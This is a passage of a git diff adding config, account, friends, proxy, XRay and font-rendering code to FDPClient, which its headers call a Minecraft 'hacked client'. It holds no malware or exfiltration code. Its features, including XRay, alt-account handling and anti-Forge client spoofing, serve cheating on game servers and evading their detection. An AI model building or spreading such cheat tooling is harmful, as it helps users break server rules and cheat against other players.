+ for (section in sections) { + section.load(if (json.has(section.sectionName)) { json.getAsJsonObject(section.sectionName) } else { JsonObject() }) + } + + if (!configFile.exists()) { + save(forceSave = true) + } + + if (save) { + saveConfigSet() + } + + ClientUtils.logInfo("Config $nowConfig.json loaded.") + FDPClient.isLoadingConfig = false + } + + fun save(saveConfigSet: Boolean = nowConfigInFile != nowConfig, forceSave: Boolean = false) { + if (FDPClient.isLoadingConfig && !forceSave) { + return + } + + val config = JsonObject() + + for (section in sections) { + config.add(section.sectionName, section.save()) + } + + configFile.writeText(FileManager.PRETTY_GSON.toJson(config), Charsets.UTF_8) + + if (saveConfigSet || forceSave) { + saveConfigSet() + } + needSave = false + + ClientUtils.logInfo("Config $nowConfig.json saved.") + } + + private fun saveTicker() { + if(!needSave) { + return + } + save() + } + + fun smartSave() { + needSave = true + } + + fun loadConfigSet() { + val configSet = if (configSetFile.exists()) { JsonParser().parse(configSetFile.reader(Charsets.UTF_8)).asJsonObject } else { JsonObject() } + + nowConfigInFile = if (configSet.has("file")) { + configSet.get("file").asString + } else { + "default" + } + + load(nowConfigInFile, false) + } + + fun saveConfigSet() { + val configSet = JsonObject() + + configSet.addProperty("file", nowConfig) + + configSetFile.writeText(FileManager.PRETTY_GSON.toJson(configSet), Charsets.UTF_8) + } + + fun loadLegacySupport() { + if (FDPClient.fileManager.loadLegacy()) { + if (File(FDPClient.fileManager.configsDir, "$nowConfig.json").exists()) { + nowConfig = "legacy" + configFile = File(FDPClient.fileManager.configsDir, "$nowConfig.json") + save(forceSave = true) + } else { + save(forceSave = true) + } + ClientUtils.logWarn("Converted legacy config") + } + + fun executeScript(script: String) { + script.lines().filter { it.isNotEmpty() && !it.startsWith('#') }.forEachIndexed { _, s -> + val args = s.split(" ").toTypedArray() + + if (args.size <= 1) { + return@forEachIndexed + } + + when (args[0]) { + "load" -> { + val url = StringUtils.toCompleteString(args, 1) + + try { + executeScript(HttpUtils.get(url)) + } catch (e: Exception) { + e.printStackTrace() + } + } + + "targetPlayer", "targetPlayers" -> { + Target.playerValue.set(args[1].equals("true", ignoreCase = true)) + } + + "targetMobs" -> { + Target.mobValue.set(args[1].equals("true", ignoreCase = true)) + } + + "targetAnimals" -> { + Target.animalValue.set(args[1].equals("true", ignoreCase = true)) + } + + "targetInvisible" -> { + Target.invisibleValue.set(args[1].equals("true", ignoreCase = true)) + } + + "targetDead" -> { + Target.deadValue.set(args[1].equals("true", ignoreCase = true)) + } + + else -> { + if (args.size != 3) { + return@forEachIndexed + } + + val moduleName = args[0] + val valueName = args[1] + val value = args[2] + val module = FDPClient.moduleManager.getModule(moduleName) ?: return@forEachIndexed + + if (valueName.equals("toggle", ignoreCase = true)) { + module.state = value.equals("true", ignoreCase = true) + return@forEachIndexed + } + + if (valueName.equals("bind", ignoreCase = true)) { + module.keyBind = Keyboard.getKeyIndex(value) + return@forEachIndexed + } + + val moduleValue = module.getValue(valueName) ?: return@forEachIndexed + + try { + when (moduleValue) { + is BoolValue -> moduleValue.changeValue(value.toBoolean()) + is FloatValue -> moduleValue.changeValue(value.toFloat()) + is IntegerValue -> moduleValue.changeValue(value.toInt()) + is TextValue -> moduleValue.changeValue(value) + is ListValue -> moduleValue.changeValue(value) + } + } catch (e: Exception) { + e.printStackTrace() + } + } + } + } + } + + val oldSettingDir = File(FDPClient.fileManager.dir, "settings") + if (oldSettingDir.exists()) { + oldSettingDir.listFiles().forEach { + if (it.isFile) { + val name = nowConfig + ClientUtils.logWarn("Converting legacy setting \"${it.name}\"") + load("default", false) + nowConfig = it.name + configFile = File(FDPClient.fileManager.configsDir, "$nowConfig.json") + executeScript(String(Files.readAllBytes(it.toPath()))) + save(false, true) + // set data back + nowConfig = name + configFile = File(FDPClient.fileManager.configsDir, "$nowConfig.json") + saveConfigSet() + } + if (!FDPClient.fileManager.legacySettingsDir.exists()) { + FDPClient.fileManager.legacySettingsDir.mkdir() + } + + it.renameTo(File(FDPClient.fileManager.legacySettingsDir, it.name)) + } + oldSettingDir.delete() + } + } + +// fun toLegacy(name: String){ +// if(!LiquidBounce.fileManager.legacySettingsDir.exists()) +// LiquidBounce.fileManager.legacySettingsDir.mkdir() +// +// val jsonObject=JsonParser().parse() +// } + + /** + * Register [section] + */ + fun registerSection(section: ConfigSection) = sections.add(section) + + /** + * Register [sectionClass] + */ + private fun registerSection(sectionClass: Class<out ConfigSection>) { + try { + registerSection(sectionClass.newInstance()) + } catch (e: Throwable) { + ClientUtils.logError("Failed to load config section: ${sectionClass.name} (${e.javaClass.name}: ${e.message})") + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigSection.kt b/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigSection.kt new file mode 100644 index 0000000..6c77cd4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/config/ConfigSection.kt @@ -0,0 +1,9 @@ +package net.ccbluex.liquidbounce.file.config + +import com.google.gson.JsonObject + +abstract class ConfigSection(val sectionName: String) { + abstract fun load(json: JsonObject) + + abstract fun save(): JsonObject +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/config/sections/MacrosSection.kt b/src/main/java/net/ccbluex/liquidbounce/file/config/sections/MacrosSection.kt new file mode 100644 index 0000000..7e18d77 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/config/sections/MacrosSection.kt @@ -0,0 +1,35 @@ +package net.ccbluex.liquidbounce.file.config.sections + +import com.google.gson.JsonArray +import com.google.gson.JsonObject +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.macro.Macro +import net.ccbluex.liquidbounce.file.config.ConfigSection + +class MacrosSection : ConfigSection("macros") { + override fun load(json: JsonObject) { + FDPClient.macroManager.macros.clear() + + val jsonArray = json.getAsJsonArray("macros") ?: return + + for (jsonElement in jsonArray) { + val macroJson = jsonElement.asJsonObject + FDPClient.macroManager.macros.add(Macro(macroJson.get("key").asInt, macroJson.get("command").asString)) + } + } + + override fun save(): JsonObject { + val jsonArray = JsonArray() + + for (macro in FDPClient.macroManager.macros) { + val macroJson = JsonObject() + macroJson.addProperty("key", macro.key) + macroJson.addProperty("command", macro.command) + jsonArray.add(macroJson) + } + + val json = JsonObject() + json.add("macros", jsonArray) + return json + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/config/sections/ModulesSection.kt b/src/main/java/net/ccbluex/liquidbounce/file/config/sections/ModulesSection.kt new file mode 100644 index 0000000..c228caf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/config/sections/ModulesSection.kt @@ -0,0 +1,89 @@ +package net.ccbluex.liquidbounce.file.config.sections + +import com.google.gson.JsonObject +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.EnumTriggerType +import net.ccbluex.liquidbounce.file.config.ConfigSection + +class ModulesSection : ConfigSection("modules") { + override fun load(json: JsonObject) { + // set them to default setting + FDPClient.moduleManager.modules.forEach { + val moduleInfo = it.moduleInfo + it.state = moduleInfo.defaultOn + it.keyBind = moduleInfo.keyBind + it.array = moduleInfo.array + it.autoDisable = moduleInfo.autoDisable + it.values.forEach { value -> + value.setDefault() + } + } + // load config + for (entrySet in json.entrySet()) { + val module = FDPClient.moduleManager.getModule(entrySet.key) ?: continue + val data = entrySet.value.asJsonObject + + if (data.has("state")) { + module.state = data.get("state").asBoolean + } + + if (data.has("keybind")) { + module.keyBind = data.get("keybind").asInt + } + + if (data.has("array")) { + module.array = data.get("array").asBoolean + } + + if (data.has("trigger")) { + module.triggerType = EnumTriggerType.valueOf(data.get("trigger").asString) + } + + if (data.has("autodisable")) { + module.autoDisable = EnumAutoDisableType.valueOf(data.get("autodisable").asString) + } + + val values = data.getAsJsonObject("values") + module.values.forEach { + if (values.has(it.name)) { + it.fromJson(values.get(it.name)) + } + } + } + } + + override fun save(): JsonObject { + val json = JsonObject() + + FDPClient.moduleManager.modules.forEach { + val moduleJson = JsonObject() + + if (it.canEnable || it.triggerType != EnumTriggerType.PRESS) { + moduleJson.addProperty("state", it.state) + } + + moduleJson.addProperty("keybind", it.keyBind) + + if (it.canEnable) { + moduleJson.addProperty("array", it.array) + } + + if (it.canEnable) { + moduleJson.addProperty("autodisable", it.autoDisable.toString()) + } + + moduleJson.addProperty("trigger", it.triggerType.toString()) + + val valuesJson = JsonObject() + it.values.forEach { value -> + valuesJson.add(value.name, value.toJson()) + } + moduleJson.add("values", valuesJson) + + json.add(it.name, moduleJson) + } + + return json + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/AccountsConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/AccountsConfig.kt new file mode 100644 index 0000000..6b70535 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/AccountsConfig.kt @@ -0,0 +1,51 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file.configs + +import com.google.gson.JsonArray +import com.google.gson.JsonParser +import com.google.gson.JsonSyntaxException +import me.liuli.elixir.account.MinecraftAccount +import me.liuli.elixir.manage.AccountSerializer +import net.ccbluex.liquidbounce.file.FileConfig +import net.ccbluex.liquidbounce.file.FileManager +import java.io.File + +class AccountsConfig(file: File) : FileConfig(file) { + val altManagerMinecraftAccounts: MutableList<MinecraftAccount> = ArrayList() + + override fun loadConfig(config: String) { + altManagerMinecraftAccounts.clear() + + val json = try { + JsonParser().parse(config).asJsonArray + } catch (e: JsonSyntaxException) { + // convert old config + JsonArray().also { + config.split("\n").forEach { str -> + val information = str.split(":") + it.add(AccountSerializer.toJson(AccountSerializer.accountInstance(information[0], information[1]))) + } + } + } + + json.forEach { jsonElement -> + AccountSerializer.fromJson(jsonElement.asJsonObject).also { + altManagerMinecraftAccounts.add(it) + } + } + } + + override fun saveConfig(): String { + val json = JsonArray() + + altManagerMinecraftAccounts.forEach { + json.add(AccountSerializer.toJson(it)) + } + + return FileManager.PRETTY_GSON.toJson(json) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/FriendsConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/FriendsConfig.kt new file mode 100644 index 0000000..a8ea223 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/FriendsConfig.kt @@ -0,0 +1,88 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file.configs + +import net.ccbluex.liquidbounce.file.FileConfig +import java.io.File + +class FriendsConfig(file: File) : FileConfig(file) { + + val friends = mutableListOf<Friend>() + + override fun loadConfig(config: String) { + clearFriends() + config.split("\n").forEach { line -> + if (line.contains(":")) { + val data = line.split(":").toTypedArray() + addFriend(data[0], data[1]) + } else { + addFriend(line) + } + } + } + + override fun saveConfig(): String { + val builder = StringBuilder() + + for (friend in friends) + builder.append(friend.playerName).append(":").append(friend.alias).append("\n") + + return builder.toString() + } + + /** + * Add friend to config + * + * @param playerName of friend + * @param alias of friend + * @return of successfully added friend + */ + @JvmOverloads + fun addFriend(playerName: String, alias: String = playerName): Boolean { + if (isFriend(playerName)) { + return false + } + + friends.add(Friend(playerName, alias)) + + return true + } + + /** + * Remove friend from config + * + * @param playerName of friend + */ + fun removeFriend(playerName: String): Boolean { + if (!isFriend(playerName)) return false + friends.removeIf { friend: Friend -> friend.playerName == playerName } + return true + } + + /** + * Check is friend + * + * @param playerName of friend + * @return is friend + */ + fun isFriend(playerName: String): Boolean { + for (friend in friends) if (friend.playerName == playerName) return true + return false + } + + /** + * Clear all friends from config + */ + fun clearFriends() { + friends.clear() + } + + /** + * @param playerName of friend + * @param alias of friend + */ + class Friend(val playerName: String, val alias: String) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/HudConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/HudConfig.kt new file mode 100644 index 0000000..d44149b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/HudConfig.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file.configs + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.file.FileConfig +import net.ccbluex.liquidbounce.ui.client.hud.Config +import java.io.File + +class HudConfig(file: File) : FileConfig(file) { + override fun loadConfig(config: String) { + FDPClient.hud.clearElements() + FDPClient.hud = Config(config).toHUD() + } + + override fun saveConfig(): String { + return Config(FDPClient.hud).toJson() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/ScriptConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/ScriptConfig.kt new file mode 100644 index 0000000..2307d9f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/ScriptConfig.kt @@ -0,0 +1,58 @@ +package net.ccbluex.liquidbounce.file.configs + +import net.ccbluex.liquidbounce.file.FileConfig +import java.io.File +import java.nio.charset.Charset +import java.util.* + +class ScriptConfig(file: File) : FileConfig(file) { + val subscripts = mutableListOf<Subscript>() + + override fun loadConfig(config: String) { + clearSubscripts() + config.split("\n").forEach { line -> + if (line.contains(":")) { + val data = line.split(":").toTypedArray() + addSubscripts(Base64.getDecoder().decode(data[0]).toString(Charset.defaultCharset()), Base64.getDecoder().decode(data[1]).toString(Charset.defaultCharset())) + } else { + Base64.getDecoder().decode(line).toString(Charset.defaultCharset()) + } + } + } + + override fun saveConfig(): String { + val builder = StringBuilder() + + for (subscript in subscripts) + builder.append(Base64.getEncoder().encode(subscript.url.toByteArray())).append(":") + .append(Base64.getEncoder().encode(subscript.name.toByteArray())).append("\n") + + return builder.toString() + } + + @JvmOverloads + fun addSubscripts(url: String, name: String = url): Boolean { + if (isSubscript(url)) { + return false + } + subscripts.add(Subscript(url, name)) + return true + } + + fun removeSubscript(url: String): Boolean { + if (!isSubscript(url)) return false + subscripts.removeIf { friend: Subscript -> friend.url == url } + return true + } + + fun isSubscript(url: String): Boolean { + for (subscript in subscripts) if (subscript.url == url) return true + return false + } + + fun clearSubscripts() { + subscripts.clear() + } + + class Subscript(val url: String, val name: String) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/SpecialConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/SpecialConfig.kt new file mode 100644 index 0000000..f19ab8e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/SpecialConfig.kt @@ -0,0 +1,124 @@ +package net.ccbluex.liquidbounce.file.configs + +import com.google.gson.JsonObject +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.file.FileConfig +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.handler.network.AutoReconnect +import net.ccbluex.liquidbounce.handler.network.ClientFixes +import net.ccbluex.liquidbounce.handler.network.ProxyManager +import net.ccbluex.liquidbounce.handler.other.ServerSpoof +import net.ccbluex.liquidbounce.ui.client.GuiBackground +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager +import java.io.File +import java.net.Proxy + +class SpecialConfig(file: File) : FileConfig(file) { + var useGlyphFontRenderer = true + + override fun loadConfig(config: String) { + val json = JsonParser().parse(config).asJsonObject + + FDPClient.commandManager.prefix = '.' + AutoReconnect.delay = 5000 + ClientFixes.enabled = true + ClientFixes.blockFML = true + ClientFixes.blockProxyPacket = true + ClientFixes.blockPayloadPackets = true + GuiBackground.enabled = true + GuiBackground.particles = false + GuiAltManager.randomAltField.text = "F%nD%nP%n_%s%s%s" + useGlyphFontRenderer = true + ProxyManager.isEnable = false + ProxyManager.proxy = "127.0.0.1:10808" + ProxyManager.proxyType = Proxy.Type.SOCKS + + if (json.has("prefix")) { + FDPClient.commandManager.prefix = json.get("prefix").asCharacter + } + if (json.has("auto-reconnect")) { + AutoReconnect.delay = json.get("auto-reconnect").asInt + } + if (json.has("alt-field")) { + GuiAltManager.randomAltField.text = json.get("alt-field").asString + } + if (json.has("use-glyph-fontrenderer")) { + useGlyphFontRenderer = json.get("use-glyph-fontrenderer").asBoolean + } + if (json.has("anti-forge")) { + val jsonValue = json.getAsJsonObject("anti-forge") + + if (jsonValue.has("enable")) { + ClientFixes.enabled = jsonValue.get("enable").asBoolean + } + if (jsonValue.has("block-fml")) { + ClientFixes.blockFML = jsonValue.get("block-fml").asBoolean + } + if (jsonValue.has("block-proxy")) { + ClientFixes.blockProxyPacket = jsonValue.get("block-proxy").asBoolean + } + if (jsonValue.has("block-payload")) { + ClientFixes.blockPayloadPackets = jsonValue.get("block-payload").asBoolean + } + if (jsonValue.has("FixResourcePackExploit")) { + ClientFixes.blockResourcePackExploit = jsonValue.get("FixResourcePackExploit").asBoolean + } + if (jsonValue.has("ClientBrand")) { + ClientFixes.clientBrand = jsonValue.get("ClientBrand").getAsString(); + } + } + if (json.has("proxy")) { + val jsonValue = json.getAsJsonObject("proxy") + + if (jsonValue.has("enable")) { + ProxyManager.isEnable = jsonValue.get("enable").asBoolean + } + if (jsonValue.has("address")) { + ProxyManager.proxy = jsonValue.get("address").asString + } + if (jsonValue.has("type")) { + ProxyManager.proxyType = Proxy.Type.valueOf(jsonValue.get("type").asString.uppercase()) + } + } + if (json.has("background")) { + val jsonValue = json.getAsJsonObject("background") + + if (jsonValue.has("enable")) { + GuiBackground.enabled = jsonValue.get("enable").asBoolean + } + if (jsonValue.has("particles")) { + GuiBackground.particles = jsonValue.get("particles").asBoolean + } + } + } + + override fun saveConfig(): String { + val json = JsonObject() + + json.addProperty("prefix", FDPClient.commandManager.prefix) + json.addProperty("auto-reconnect", AutoReconnect.delay) + json.addProperty("alt-field", GuiAltManager.randomAltField.text) + json.addProperty("use-glyph-fontrenderer", useGlyphFontRenderer) + + val antiForgeJson = JsonObject() + antiForgeJson.addProperty("enable", ClientFixes.enabled) + antiForgeJson.addProperty("block-fml", ClientFixes.blockFML) + antiForgeJson.addProperty("block-proxy", ClientFixes.blockProxyPacket) + antiForgeJson.addProperty("block-payload", ClientFixes.blockPayloadPackets) + json.add("anti-forge", antiForgeJson) + + val proxyJson = JsonObject() + proxyJson.addProperty("enable", ProxyManager.isEnable) + proxyJson.addProperty("address", ProxyManager.proxy) + proxyJson.addProperty("type", ProxyManager.proxyType.name) + json.add("proxy", proxyJson) + + val backgroundJson = JsonObject() + backgroundJson.addProperty("enable", GuiBackground.enabled) + backgroundJson.addProperty("particles", GuiBackground.particles) + json.add("background", backgroundJson) + + return FileManager.PRETTY_GSON.toJson(json) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/file/configs/XRayConfig.kt b/src/main/java/net/ccbluex/liquidbounce/file/configs/XRayConfig.kt new file mode 100644 index 0000000..0fe780f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/file/configs/XRayConfig.kt @@ -0,0 +1,48 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.file.configs + +import com.google.gson.JsonArray +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.modules.visual.XRay +import net.ccbluex.liquidbounce.file.FileConfig +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.minecraft.block.Block +import java.io.File + +class XRayConfig(file: File) : FileConfig(file) { + + override fun loadConfig(config: String) { + val xRay = FDPClient.moduleManager[XRay::class.java]!! + val jsonArray = JsonParser().parse(config).asJsonArray + xRay.xrayBlocks.clear() + + for (jsonElement in jsonArray) { + try { + val block = Block.getBlockFromName(jsonElement.asString) + if (xRay.xrayBlocks.contains(block)) { + ClientUtils.logError("[FileManager] Skipped xray block '" + block.registryName + "' because the block is already added.") + continue + } + xRay.xrayBlocks.add(block) + } catch (throwable: Throwable) { + ClientUtils.logError("[FileManager] Failed to add block to xray.", throwable) + } + } + } + + override fun saveConfig(): String { + val xRay = FDPClient.moduleManager[XRay::class.java]!! + val jsonArray = JsonArray() + + for (block in xRay.xrayBlocks) + jsonArray.add(FileManager.PRETTY_GSON.toJsonTree(Block.getIdFromBlock(block))) + + return FileManager.PRETTY_GSON.toJson(jsonArray) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/font/CFont.java b/src/main/java/net/ccbluex/liquidbounce/font/CFont.java new file mode 100644 index 0000000..ff3de36 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/font/CFont.java @@ -0,0 +1,169 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.font; + +import net.minecraft.client.renderer.texture.DynamicTexture; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.awt.geom.Rectangle2D; +import java.awt.image.BufferedImage; + +public class CFont { + protected Font font; + protected boolean antiAlias; + protected boolean fractionalMetrics; + protected DynamicTexture tex; + private final float imgSize = 512.0f; + protected final CharData[] charData = new CharData[256]; + protected int fontHeight = -1; + protected final int charOffset = 0; + + public CFont(Font font, boolean antiAlias, boolean fractionalMetrics) { + this.font = font; + this.antiAlias = antiAlias; + this.fractionalMetrics = fractionalMetrics; + this.tex = setupTexture(font, antiAlias, fractionalMetrics, this.charData); + } + + protected DynamicTexture setupTexture(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) { + try { + return new DynamicTexture(generateFontImage(font, antiAlias, fractionalMetrics, chars)); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + protected BufferedImage generateFontImage(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) { + BufferedImage bufferedImage = new BufferedImage(512, 512, 2); + Graphics2D g = (Graphics2D) bufferedImage.getGraphics(); + g.setFont(font); + g.setColor(new Color(255, 255, 255, 0)); + g.fillRect(0, 0, 512, 512); + g.setColor(Color.WHITE); + g.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS, fractionalMetrics ? RenderingHints.VALUE_FRACTIONALMETRICS_ON : RenderingHints.VALUE_FRACTIONALMETRICS_OFF); + g.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, antiAlias ? RenderingHints.VALUE_TEXT_ANTIALIAS_ON : RenderingHints.VALUE_TEXT_ANTIALIAS_OFF); + g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, antiAlias ? RenderingHints.VALUE_ANTIALIAS_ON : RenderingHints.VALUE_ANTIALIAS_OFF); + FontMetrics fontMetrics = g.getFontMetrics(); + int charHeight = 0; + int positionX = 0; + int positionY = 1; + for (int i = 0; i < chars.length; i++) { + char ch = (char) i; + CharData charData = new CharData(); + Rectangle2D dimensions = fontMetrics.getStringBounds(String.valueOf(ch), g); + charData.width = dimensions.getBounds().width + 8; + charData.height = dimensions.getBounds().height; + if (positionX + charData.width >= 512) { + positionX = 0; + positionY += charHeight; + charHeight = 0; + } + if (charData.height > charHeight) { + charHeight = charData.height; + } + charData.storedX = positionX; + charData.storedY = positionY; + if (charData.height > this.fontHeight) { + this.fontHeight = charData.height; + } + chars[i] = charData; + g.drawString(String.valueOf(ch), positionX + 2, positionY + fontMetrics.getAscent()); + positionX += charData.width; + } + return bufferedImage; + } + + public void drawChar(CharData[] chars, char c, float x, float y) throws ArrayIndexOutOfBoundsException { + try { + drawQuad(x, y, (float) chars[c].width, (float) chars[c].height, (float) chars[c].storedX, (float) chars[c].storedY, (float) chars[c].width, (float) chars[c].height); + } catch (Exception e) { + e.printStackTrace(); + } + } + + protected void drawQuad(float x, float y, float width, float height, float srcX, float srcY, float srcWidth, float srcHeight) { + float renderSRCX = srcX / 512.0f; + float renderSRCY = srcY / 512.0f; + float renderSRCWidth = srcWidth / 512.0f; + float renderSRCHeight = srcHeight / 512.0f; + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY); + GL11.glVertex2d(x + width, y); + GL11.glTexCoord2f(renderSRCX, renderSRCY); + GL11.glVertex2d(x, y); + GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x, y + height); + GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x, y + height); + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x + width, y + height); + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY); + GL11.glVertex2d(x + width, y); + } + + public int getStringHeight(String text) { + return getHeight(); + } + + public int getHeight() { + return (this.fontHeight - 8) / 2; + } + + public int getStringWidth(String text) { + int width = 0; + char[] arrc = text.toCharArray(); + for (char c : arrc) { + if (c < this.charData.length) { + width += (this.charData[c].width - 8) + this.charOffset; + } + } + return width / 2; + } + + public boolean isAntiAlias() { + return this.antiAlias; + } + + public void setAntiAlias(boolean antiAlias) { + if (this.antiAlias != antiAlias) { + this.antiAlias = antiAlias; + this.tex = setupTexture(this.font, antiAlias, this.fractionalMetrics, this.charData); + } + } + + public boolean isFractionalMetrics() { + return this.fractionalMetrics; + } + + public void setFractionalMetrics(boolean fractionalMetrics) { + if (this.fractionalMetrics != fractionalMetrics) { + this.fractionalMetrics = fractionalMetrics; + this.tex = setupTexture(this.font, this.antiAlias, fractionalMetrics, this.charData); + } + } + + public Font getFont() { + return this.font; + } + + public void setFont(Font font) { + this.font = font; + this.tex = setupTexture(font, this.antiAlias, this.fractionalMetrics, this.charData); + } + + /* loaded from: LiquidBounce-b73.jar:net/ccbluex/liquidbounce/CFont$CharData.class */ + protected static class CharData { + public int width; + public int height; + public int storedX; + public int storedY; + + protected CharData() { + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/font/CFontRenderer.java b/src/main/java/net/ccbluex/liquidbounce/font/CFontRenderer.java new file mode 100644 index 0000000..a725b99 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/font/CFontRenderer.java @@ -0,0 +1,641 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.font; + +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.texture.DynamicTexture; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.lib.Opcodes; + +import java.awt.*; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class CFontRenderer extends CFont { + protected final CFont.CharData[] boldChars = new CFont.CharData[256]; + protected final CFont.CharData[] italicChars = new CFont.CharData[256]; + protected final CFont.CharData[] boldItalicChars = new CFont.CharData[256]; + private final int[] colorCode = new int[32]; + private final String colorcodeIdentifiers = "0123456789abcdefklmnor"; + protected DynamicTexture texBold; + protected DynamicTexture texItalic; + protected DynamicTexture texItalicBold; + + public CFontRenderer(Font font, boolean antiAlias, boolean fractionalMetrics) { + super(font, antiAlias, fractionalMetrics); + setupMinecraftColorcodes(); + setupBoldItalicIDs(); + } + + public float drawStringWithShadow(String text, double x, double y, int color) { + return Math.max(drawString(text, x + 0.5d, y + 0.5d, color, true), drawString(text, x, y, color, false)); + } + + public float drawString(String text, float x, float y, int color) { + GlStateManager.color(1.0f, 1.0f, 1.0f); + RenderUtils.glColor(color); + return drawString(text, x, (double) y, color, false); + } + + public float drawCenteredString(String text, double x, double y, int color) { + GlStateManager.color(1.0f, 1.0f, 1.0f); + return drawString(text, (float) (x - ((double) ((float) (getStringWidth(text) / 2)))), (float) y, color); + } + + public float drawCenteredStringWithShadow(String text, float x, float y, int color) { + return drawStringWithShadow(text, x - ((float) (getStringWidth(text) / 2)), y, color); + } + + public float drawCenteredStringWithShadow(String text, double x, double y, int color) { + return drawStringWithShadow(text, x - ((double) (getStringWidth(text) / 2)), y, color); + } + public static boolean isChinese(char c) { + String s = String.valueOf(c); + return "1234567890abcdefghijklmnopqrstuvwxyz!<>@#$%^&*()-_=+[]{}|\\/'\",.~`".contains(s.toLowerCase()); + } + + public static boolean isContainChinese(String str) { + Pattern p = Pattern.compile("[一-龥]"); + Matcher m = p.matcher(str); + return m.find(); + } + + public static char validateLegalString(String content) { + String illegal = "`~!#%^&*=+\\|{};:'\",<>/?○●★☆☉♀♂※¤╬の〆"; + char isLegalChar = 't'; + + for(int i = 0; i < content.length(); ++i) { + for(int j = 0; j < illegal.length(); ++j) { + if (content.charAt(i) == illegal.charAt(j)) { + isLegalChar = content.charAt(i); + return isLegalChar; + } + } + } + + return isLegalChar; + } + public static int DisplayFontWidth(String str, CFontRenderer font) { + str = LanguageManager.INSTANCE.get(LanguageManager.INSTANCE.replace(str)); + int x=0; + for(int iF = 0; iF < str.length(); ++iF) { + String s = String.valueOf(str.toCharArray()[iF]); + if (s.contains("§") && iF + 1 <= str.length()) { + iF++; + } else if (isChinese(s.charAt(0))) { + x += (float)font.getStringWidth(s); + } else { + x += (float)Fonts.font35.getStringWidth(s); + } + } + return x+5; + } + + public int 